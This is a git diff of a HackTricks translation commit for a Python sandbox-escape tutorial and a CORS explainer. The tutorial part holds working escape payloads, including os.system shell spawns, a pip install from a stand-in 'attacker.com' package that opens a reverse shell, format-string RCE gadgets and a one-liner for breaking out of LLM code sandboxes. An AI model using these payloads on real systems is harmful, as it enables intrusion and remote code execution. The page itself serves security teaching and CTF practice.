mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['generic-methodologies-and-resources/python/bypass-python-sa
This commit is contained in:
parent
0344fc8a2f
commit
f788533bf0
3 changed files with 113 additions and 92 deletions
|
@ -1,21 +1,21 @@
|
|||
# Python 샌드박스 우회
|
||||
# Bypass Python sandboxes
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
|
@ -25,9 +25,9 @@ GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.p
|
|||
|
||||
이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
|
||||
|
||||
## 명령 실행 라이브러리
|
||||
## Command Execution Libraries
|
||||
|
||||
가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 다음 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||
첫 번째로 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -60,7 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
기억하세요, _**open**_ 및 _**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **우회**하기 위해 **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
|
||||
기억하세요, _**open**_ 및 _**read**_ 함수는 python 샌드박스 내에서 **파일을 읽는** 데 유용하며, **샌드박스를 우회하기 위해 실행할 수 있는 코드를 작성하는** 데 유용합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 해줍니다.
|
||||
|
@ -70,7 +70,7 @@ Python은 **현재 디렉토리에서 라이브러리를 먼저 로드하려고
|
|||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## 기본 설치된 python 패키지로 pickle sandbox 우회하기
|
||||
## 기본 설치된 python 패키지로 pickle 샌드박스 우회하기
|
||||
|
||||
### 기본 패키지
|
||||
|
||||
|
@ -108,7 +108,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
|||
이 패키지는 `Reverse`라고 불립니다. 그러나 리버스 셸을 종료할 때 나머지 설치가 실패하도록 특별히 제작되었으므로, 떠날 때 **서버에 추가적인 파이썬 패키지가 설치되지 않게 됩니다**.
|
||||
{% endhint %}
|
||||
|
||||
## 파이썬 코드 실행
|
||||
## 파이썬 코드 평가
|
||||
|
||||
{% hint style="warning" %}
|
||||
exec는 여러 줄 문자열과 ";"를 허용하지만, eval은 허용하지 않습니다(월러스 연산자 확인).
|
||||
|
@ -158,9 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## 인코딩을 통한 보호 우회 (UTF-7)
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하기 위해 UTF-7이 사용됩니다:
|
||||
In [**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7은 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하는 데 사용됩니다:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -175,7 +175,7 @@ return x
|
|||
|
||||
## 호출 없이 Python 실행
|
||||
|
||||
호출을 할 수 없는 **파이썬 감옥**에 있는 경우에도 **임의의 함수, 코드** 및 **명령**을 **실행**할 수 있는 방법이 몇 가지 있습니다.
|
||||
호출을 할 수 없는 **파이썬 감옥** 안에 있다면, 여전히 **임의의 함수, 코드** 및 **명령어**를 **실행하는** 몇 가지 방법이 있습니다.
|
||||
|
||||
### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 이용한 RCE
|
||||
```python
|
||||
|
@ -199,13 +199,13 @@ X = exec(X)
|
|||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE 객체 생성 및 오버로드
|
||||
### RCE 객체 생성 및 오버로딩
|
||||
|
||||
당신이 **클래스를 선언**하고 **그 클래스의 객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||
|
||||
#### 사용자 정의 클래스를 통한 RCE
|
||||
|
||||
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고도** **트리거될 때 임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성함으로써_) 수정하여 **직접 호출하지 않고도** **트리거될 때 임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -274,7 +274,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### 예외로 객체 생성하기
|
||||
|
||||
**예외가 발생할 때** **Exception**의 객체가 **생성됩니다**. 이를 위해 생성자를 직접 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||
**예외가 발생할 때** **Exception**의 객체가 **생성**되며, 직접 생성자를 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -340,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
`__builtins__`가 없으면 아무것도 가져올 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...) **가 로드되지 않기 때문입니다.**\
|
||||
그러나 **기본적으로 파이썬은 많은 모듈을 메모리에 가져옵니다.** 이 모듈들은 무해해 보일 수 있지만, 그 중 일부는 **위험한** 기능을 내부에 가져오고 있어 이를 통해 **임의 코드 실행**을 얻을 수 있습니다.
|
||||
|
||||
다음 예제에서는 **이 "무해한"** 모듈을 **악용**하여 **내부의** **위험한** **기능**에 **접근하는** 방법을 관찰할 수 있습니다.
|
||||
다음 예제에서는 **이용**할 수 있는 **"무해한"** 모듈을 어떻게 **악용**하여 **위험한** **기능**에 **접근**할 수 있는지 관찰할 수 있습니다.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -382,7 +382,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**을 찾을 수 있습니다.
|
||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**를 찾을 수 있습니다.
|
||||
|
||||
#### Python2 및 Python3
|
||||
```python
|
||||
|
@ -462,7 +462,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### 위험한 라이브러리 찾기
|
||||
|
||||
예를 들어, **`sys`** 라이브러리를 사용하면 **임의의 라이브러리를 가져올 수** 있다는 것을 알고 있다면, **그 안에 sys를 가져온 모든 모듈을 검색할 수 있습니다**:
|
||||
예를 들어, **`sys`** 라이브러리를 사용하면 **임의의 라이브러리를 가져올 수** 있다는 것을 알고 있다면, **그 안에 sys를 가져온 모든 모듈을 검색할 수** 있습니다:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
@ -561,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## 내장 함수, 전역 변수의 재귀적 검색...
|
||||
|
||||
{% hint style="warning" %}
|
||||
이것은 정말 **멋집니다**. 만약 당신이 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 장소를 재귀적으로 찾아보세요.**
|
||||
이것은 정말 **멋집니다**. 만약 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 위치를 재귀적으로 찾아보세요.**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -678,15 +678,15 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
이 스크립트의 출력을 이 페이지에서 확인할 수 있습니다:
|
||||
You can check the output of this script on this page:
|
||||
|
||||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python 포맷 문자열
|
||||
## Python Format String
|
||||
|
||||
**형식화**될 **문자열**을 python에 **전송**하면, `{}`를 사용하여 **python 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
||||
만약 **형식화**될 **문자열**을 파이썬에 **전송**하면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -706,11 +706,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
노트: 일반적인 방법으로 **속성**에 **점**을 사용하여 접근할 수 있습니다 `people_obj.__init__`와 **딕셔너리 요소**에 **괄호**를 사용하여 인용 없이 `__globals__[CONFIG]`
|
||||
노트: 일반적인 방법으로 **속성**에 **점**을 사용하여 접근할 수 있습니다 `people_obj.__init__`와 **딕셔너리 요소**에 **괄호**를 사용하여 인용 없이 접근할 수 있습니다 `__globals__[CONFIG]`
|
||||
|
||||
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있습니다 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
형식 문자열의 다른 흥미로운 특성은 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
|
||||
형식 문자열의 다른 흥미로운 특성 중 하나는 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -752,18 +752,22 @@ secret_variable = "clueless"
|
|||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### 형식에서 RCE로 라이브러리 로딩
|
||||
### LLM Jails bypass
|
||||
|
||||
[**이 글에서의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 형식 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드하는 것이 가능합니다.
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
상기할 점은, 파이썬에서 어떤 작업이 수행될 때마다 어떤 함수가 실행된다는 것입니다. 예를 들어 `2*3`은 **`(2).mul(3)`**을 실행하거나 **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**이 됩니다.
|
||||
### From format to RCE loading libraries
|
||||
|
||||
이와 유사한 내용은 [**호출 없이 파이썬 실행**](./#python-execution-without-calls) 섹션에서 확인할 수 있습니다.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
파이썬 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
|
||||
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
|
||||
As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
파이썬에서 그런 가젯을 찾기 위해, 글에서는 이 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)를 발견했습니다:
|
||||
You have more like this in the section [**Python execution without calls**](./#python-execution-without-calls).
|
||||
|
||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
|
||||
|
||||
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
|
@ -785,19 +789,19 @@ return getattr(self, name)
|
|||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
이 도구는 **디스크에서 라이브러리를 로드**할 수 있게 해줍니다. 따라서, 공격받는 서버에 올바르게 컴파일된 라이브러리를 **작성하거나 업로드**하는 방법이 필요합니다.
|
||||
이 장치는 **디스크에서 라이브러리를 로드**할 수 있게 해줍니다. 따라서, 공격받는 서버에 **정확하게 컴파일된 라이브러리를 작성하거나 업로드**하는 방법이 필요합니다.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
|
||||
## Dissecting Python Objects
|
||||
## Python 객체 분석
|
||||
|
||||
{% hint style="info" %}
|
||||
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**이 제공될 수 있으며, 이를 추출하기 위해 **함수**의 **내부**를 살펴봐야 합니다.
|
||||
In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
|
||||
|
||||
This is the function to inspect:
|
||||
```python
|
||||
|
@ -819,7 +823,7 @@ dir(get_flag) #Get info tof the function
|
|||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 몇 가지 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
|
||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -920,7 +924,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)를 통해 추측할 수 있습니다.
|
||||
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우**, 함수의 **바이트코드**(`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)를 통해 추측할 수 있습니다.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -980,7 +984,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
사용 중인 파이썬 버전에 따라 `code_type`의 **매개변수**는 **다른 순서**를 가질 수 있습니다. 사용 중인 파이썬 버전에서 매개변수의 순서를 아는 가장 좋은 방법은 다음을 실행하는 것입니다:
|
||||
사용 중인 파이썬 버전에 따라 `code_type`의 **매개변수**는 **다른 순서**를 가질 수 있습니다. 사용 중인 파이썬 버전에서 매개변수의 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -1005,7 +1009,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||
이 포스트의 시작 부분에 있는 이전 예제에서, **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
|
||||
|
||||
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
|
||||
|
@ -1045,7 +1049,7 @@ f(42)
|
|||
```
|
||||
## 컴파일된 파이썬 디컴파일하기
|
||||
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하여 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하면 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
|
||||
**이 튜토리얼을 확인하세요**:
|
||||
|
||||
|
@ -1058,7 +1062,7 @@ f(42)
|
|||
### Assert
|
||||
|
||||
`-O` 매개변수로 최적화된 상태에서 실행된 파이썬은 assert 문과 **debug** 값에 따라 조건부인 코드를 제거합니다.\
|
||||
따라서, 다음과 같은 체크들
|
||||
따라서, 다음과 같은 체크들:
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1078,7 +1082,7 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
|
|
|
@ -21,9 +21,9 @@ GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" al
|
|||
|
||||
## CORS란 무엇인가?
|
||||
|
||||
교차 출처 리소스 공유(CORS) 표준은 **서버가 자산에 접근할 수 있는 대상을 정의하고** **외부 출처에서 허용되는 HTTP 요청 방법을 정의**할 수 있게 해줍니다.
|
||||
교차 출처 리소스 공유(CORS) 표준은 **서버가 자산에 접근할 수 있는 대상을 정의**하고 **외부 출처에서 허용되는 HTTP 요청 방법**을 정의할 수 있게 해줍니다.
|
||||
|
||||
**동일 출처** 정책은 **리소스를 요청하는** 서버와 **리소스**를 호스팅하는 서버가 동일한 프로토콜(예: `http://`), 도메인 이름(예: `internal-web.com`), 및 **포트**(예: 80)를 공유해야 한다고 규정합니다. 이 정책 하에서는 동일한 도메인과 포트의 웹 페이지만 리소스에 접근할 수 있습니다.
|
||||
**동일 출처** 정책은 **리소스를 요청하는** 서버와 **리소스를 호스팅하는** 서버가 동일한 프로토콜(예: `http://`), 도메인 이름(예: `internal-web.com`), 및 **포트**(예: 80)를 공유해야 한다고 규정합니다. 이 정책 하에서는 동일한 도메인과 포트의 웹 페이지만 리소스에 접근할 수 있습니다.
|
||||
|
||||
`http://normal-website.com/example/example.html`의 맥락에서 동일 출처 정책의 적용은 다음과 같이 설명됩니다:
|
||||
|
||||
|
@ -83,7 +83,7 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
**교차 출처 리소스 공유 (CORS)** 프로토콜은 요청된 교차 출처 작업의 가능성을 확인하기 위해 허용된 메서드, 헤더 및 출처의 신뢰성을 검증하는 이 사전 요청 검사를 의무화합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)에서 제공하는 포괄적인 가이드를 참조하십시오.
|
||||
|
||||
**사전 요청이 없다고 해서 응답이 권한 부여 헤더를 포함해야 하는 요구 사항이 사라지는 것은 아닙니다**. 이러한 헤더가 없으면 브라우저는 교차 출처 요청의 응답을 처리할 수 없습니다.
|
||||
사전 요청이 없다고 해서 응답이 인증 헤더를 포함해야 하는 요구 사항이 사라지는 것은 아니라는 점에 유의해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청의 응답을 처리할 수 없습니다.
|
||||
|
||||
다음은 `PUT` 메서드와 `Special-Request-Header`라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시입니다:
|
||||
```
|
||||
|
@ -94,7 +94,7 @@ Origin: https://example.com
|
|||
Access-Control-Request-Method: POST
|
||||
Access-Control-Request-Headers: Authorization
|
||||
```
|
||||
서버는 수용된 메서드, 허용된 출처 및 기타 CORS 정책 세부정보를 나타내는 헤더를 반환할 수 있습니다. 아래와 같이:
|
||||
서버는 아래와 같이 수락된 메서드, 허용된 출처 및 기타 CORS 정책 세부 정보를 나타내는 헤더를 반환할 수 있습니다:
|
||||
```markdown
|
||||
HTTP/1.1 204 No Content
|
||||
...
|
||||
|
@ -105,21 +105,21 @@ Access-Control-Allow-Credentials: true
|
|||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* **`Access-Control-Allow-Headers`**: 이 헤더는 실제 요청 중에 사용할 수 있는 헤더를 지정합니다. 클라이언트의 요청에서 허용된 헤더를 나타내기 위해 서버에 의해 설정됩니다.
|
||||
